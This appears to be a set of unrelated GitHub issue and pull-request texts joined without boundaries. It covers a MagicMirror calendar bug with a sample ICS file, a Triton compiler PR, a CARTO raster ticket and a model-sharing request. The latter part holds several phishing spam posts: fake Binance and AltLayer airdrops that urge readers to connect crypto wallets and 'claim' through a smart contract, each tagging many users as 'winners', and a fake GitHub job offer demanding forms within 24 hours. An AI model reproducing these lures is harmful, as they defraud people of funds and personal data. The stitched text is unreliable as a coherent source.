Foo.name = "Foo"
function Foo.prototype.____constructor(self)
end
__TS__SetDescriptor(
    Foo.prototype,
    "id",
    {get = function(self)
        return "A Foo"
    end},
    true
)
function Foo.prototype.quux(self)
    return 2
end


security.txt implementen

Fixed by https://github.com/SURFscz/SRAM-deploy/commit/dcdad7589780ddeb001f962b2d45eb9d21abd4c7


Calendar not showing reoccurring full-day events on the day of the event (static calendar file)

Hey there, first of all, thanks for this amazing project. I started setting up a few weeks ago and enjoy every time working on it.
Platform: Raspberry Pi 4, 2 GB, Raspbian 10 (buster); Electron 6.1.7
Node Version: 10.21.0
MagicMirror Version: 2.13
Description: For birthdays I am using a static calendar file saved in a folder using https://localhost:8080/PATHNAME/calendar.ics to feed it to the mirror. Before the actual date of the event the Birthdays are displayed correctly. On the actual day of the event, the events don't show up in the mirror. This goes only for reoccurring full day events. Full day events without reoccurance and reoccurring events which are not full day work fine.
Steps to Reproduce:

Create and ics file with the following format:

BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Static Birthdays//Rafal Rüßmann//EN
CALSCALE:GREGORIAN
X-WR-CALNAME;VALUE=TEXT:Birthdays_static_short
X-WR-TIMEZONE:Europe/Berlin
BEGIN:VTIMEZONE
TZID:Europe/Berlin
LAST-MODIFIED:20200806T101500Z
BEGIN:STANDARD
DTSTART:20191027T030000
RRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU
TZNAME:CET
TZOFFSETFROM:+0200
TZOFFSETTO:+0100
END:STANDARD
BEGIN:DAYLIGHT
DTSTART:20200329T020000
RRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU
TZNAME:CEST
TZOFFSETFROM:+0100
TZOFFSETTO:+0200
END:DAYLIGHT
END:VTIMEZONE
BEGIN:VEVENT
SUMMARY:Max Mustermann
DESCRIPTION:
DTSTAMP:20050806T080000Z
DTSTART;VALUE=DATE:20050806
DTEND;VALUE=DATE:20050806
RRULE:FREQ=YEARLY
END:VEVENT
END:VCALENDAR

Save calendar locally on MagicMirror
Feed calendar to via localhost

Expected Results: Seeing the full day even throughout the day of the event in the calendar.
Actual Results: Event only showing a day before but not on the actual day.
Configuration:
{
    module: "calendar",
    header: "Termine & Feiertage",
    position: "top_left",
    config: {
        fetchInterval: 60000,
        displaySymbol: true,
        showLocation: false,
        fade: true,
        fadePoint: 0.4,
        dateFormat: "D. MMM HH:mm",
        fullDayEventDateFormat: "D. MMM",
        timeFormat: "absolute",
        getRelative: 12,
        urgency: 0,
        maximumEntries: 5,
        calendars: [
            {
                symbol: "cocktail",
                url: "webcal://www.ecoline-media.de/ics/nordrhein-westfalen.ics"
            },
            {
                symbol: 'calendar-check',
                url: 'webcal://localhost:8080/modules/calendars/9*******-****-****-****-***********D.ics',
            },
            {
                symbol: 'birthday-cake',
                url: 'webcal://localhost:8080/modules/calendars/birthdays.ics',
            }
        ]
    }
},

Additional Notes: I already discussed this issue in the forum, recommendation was to craete a ticket, as config of MM and ics look fine.

Hi, I think my issue #2111 maybe the same, albeit manifesting itself via a different route.

Any update?

The PR that moved ical to v0.8.0 didnt revert the #1798 fix. That came later with #2071.

Ok, but #1798 fix was good at the time, can be done again?

https://github.com/MichMich/MagicMirror/pull/2121 I think this solve the problem

Just checked, #2121 fixed the issue. Closing this one. Thanks a lot to all participants


Remove RewriteTensorPointer from the optimization pipeline

Depends on PR #2598

Performance results (see lablel "etiotto3":
http://benchmarks.glados.intel.com/d/1pXX4hUSz/microbenchmarks?orgId=1&var-tag=ci|etiotto3&var-bench=attn&var-bench=gemm&var-bench=gemm-preop-exp&var-bench=gemm-postop-gelu&var-bench=gemm-postop-addmatrix&var-bench=gemm-streamk&var-bench=gemm-splitk&var-bench=gemm-bt&var-bench=gemm-at&var-device=All&var-compiler=triton&var-backend=All&var-baseline_backend=triton-ci-XPU 1550&var-target_backend=triton-ci-XPU 1550&from=now-5d&to=now
There was a degradation in "gemm-at" which has been fixed in this PR by enhancing the lowering code (to LLVM dialect" for loads with blocked pointers so that we can now generate vector loads of the appropriate vector length.

Depends on PR #2598

I have merged that PR in now.

Can you please explain why all changes not in compiler.py are needed?

You want  some comments in the PR to help understand what each change does ?


Disabling raster options that cannot be used at the moment

[ ] Keep Data but disabling widgets and "Layer not georeferenced" message
[ ] Disable analysis
[ ] Keep style but allow only to edit CartoCSS
[ ] Disable pop-up
[ ] Disable Legend (or include the new version or Legends for rasters)

We'll hace to review this ticket as the revamped carto has done something for us here.


pretrained model

Thanks for sharing your great work.
Could you share your pretrained model or demo code?
We can't wait to see the performance of  your algorithm.

I could share the pretrained models, but I haven't done so yet. It should be noted that as the model was pretrained on TerraSAR-X and PRISM, it would be naive to assume that it would offer optimal performance on other sensor data – thus you would need to fine-tune the model using additional data from the sensor platform you plan to apply it to.
I'll work on getting the pre-trained models uploaded

我们期待博主的热情分享，我们希望博主能进一步完善该代码，使更多的研究者能学习到博主的研究方法。

🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:
Steps to Claim:

Connect Your Binance Wallet:

Click on the Connect Wallet.
Select your preferred wallet provider (Metamask, Trust Wallet, etc.).
Follow the prompts to connect your wallet securely.

Interact with the Contract:

Once your wallet is connected, navigate to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement:

After successfully claiming your tokens, share the news!

Twitter: Tweet about Your Tokens
Facebook: Share on Facebook

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰
Note: Make sure to follow official Binance channels for updates and announcements.

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @lanastasov, @iainwh, @HaloWorld, @pewpewpew-ow, @thinkinnight, @Akalanka1337, @kovart

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @rhozacc, @Abdullahnv, @heX16, @pcieslinski, @AdamBouhmad, @orangejyc, @evolution2k444

The Ultimate Binance Airdrop Guide: Claim Your $1500 in BNB Now and Earn Extra Rewards!
🎉 Exciting News! You are the lucky recipient of the exclusive $1.5 million Binance Airdrop, and we're thrilled to offer you $1500 in BNB to enhance your year-end celebrations. And here's the cherry on top—connect now, and you'll instantly receive an extra $100! Follow the detailed steps below to seamlessly claim your tokens and maximize the benefits of this phenomenal festive giveaway.

How to Claim Your Rewards:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).
Enjoy a smooth and secure connection.

2. 🔄 Interact with the Smart Contract:

Once your wallet is connected.
Navigate to the platform and click on the "Claim" button to interact with the smart contract.
Benefit from the transparent and efficient process.

3. 💰 Additional Bonus Rewards:

Get an instant bonus of $100 upon connecting your wallet.
Capitalize on this limited-time opportunity to boost your overall rewards.

Act now to secure your $1500 in BNB, and take advantage of the extra $100 bonus—this is an offer you don't want to miss! But wait, there's more. By participating, you also stand a chance to win up to $20,000 in additional rewards. Don't hesitate; click the link now and experience the excitement of earning crypto rewards with a minimal 5% transaction fee.
Winners: @kunci115, @kaktumar, @ShabbirHasan1, @roemervandermeij, @kantarin, @nick0lay, @pmd1xyz, @qianjin, @mjlassila, @tomoat, @alemh3, @fixe, @peafhikp, @jharrelson, @topcaoagui, @nkurzum, @esomore, @Solertis, @mrchief, @mstg, @9inety7even, @pluppens, @tadev, @int3hh, @Ringes, @paderma, @dust, @gaapt, @nhatphongdo, @wheng3, @Seyitq, @maaaax, @syky27, @foreal8877, @alexhinds, @lostb1t, @daltonjorge, @faizankshaikh, @zeattacker, @hiorws, @suprgyabhushan, @SathishBN, @thatsparks, @matagus, @rish, @ijeb, @uitspitss, @dimlev, @mmarcos, @greglong83

AltLayer Airdrop Season One Announcement

Exciting news! AltLayer token (ALT) is set to launch on Binance on January 25, 2024. This milestone couldn't have been reached without our amazing community. Your support has been crucial from conceptualization to product development.
To show our gratitude, we're inviting you to join the "ALT Token community" through an airdrop for early supporters and partners. Below is a summary:

Total Allocated ALT Tokens: 300,000,000 (3% of total supply)
Distribution Categories:

NFT Holders
Altitude Campaign Participants
EigenLayer Restakers
EigenLayer Ecosystem Partners
Celestia Stakers and others

For detailed criteria and information, check the full announcement here.
Claim opens from January 25 to February 25, 2024. Unclaimed ALT tokens after this period will return to AltLayer’s Treasury.
Thank you for being part of AltLayer's success! More to come in Season One, stay tuned.
Note: Certain regions are restricted from the airdrop. Please review the disclaimer before participating.
Winners: @juliocarneiro, @Cherecho, @Fozlpok, @dec0dOS, @r44cx, @systematicquant, @mustafatoker, @smttl, @tugh, @vagrant1991, @epireve, @tinesime, @semyont, @daniel-cortez-stevenson, @Memoi, @517821341, @Josafath, @Emanuelmeira, @realsby, @Zeraka

Hello,
We have an exciting opportunity for you! You've been selected to proceed in the selection process for the Developer position at GitHub. Congratulations on your achievement!
As part of this position, you will be offered a competitive salary of $180,000 per year, along with other attractive benefits, including:

Health insurance coverage
Retirement savings plan
Flexible work schedule
Generous vacation and paid time off
Professional development opportunities

To proceed with the hiring process, we kindly ask you to fill out some additional forms and provide some additional information. This will help us better understand your profile and experience, as well as assess your suitability for the role.
Please click here to access the forms and complete the application process. We ask that you complete these forms as soon as possible so that we can proceed with the hiring process.
Important: You have 24 hours to complete the application process.
If you have any questions or need further information, please don't hesitate to contact us.
Thank you for your interest in joining the GitHub team, and we look forward to hearing back from you.
Best regards,
GitHub Recruitment Team
saturn99, @KianYang-Lee, @yimings2072, @sanamsaraff, @garniev, @matteo-pennisi, @bernardobarreto, @nfsarch33, @andressamarcal, @raltech, @alprnbg, @remedy408, @ibiinc1, @ruoxuwu, @Easyaspie, @mysticaltech, @BillyDominos, @geoffroymorel, @laaksomavrick, @Aftero320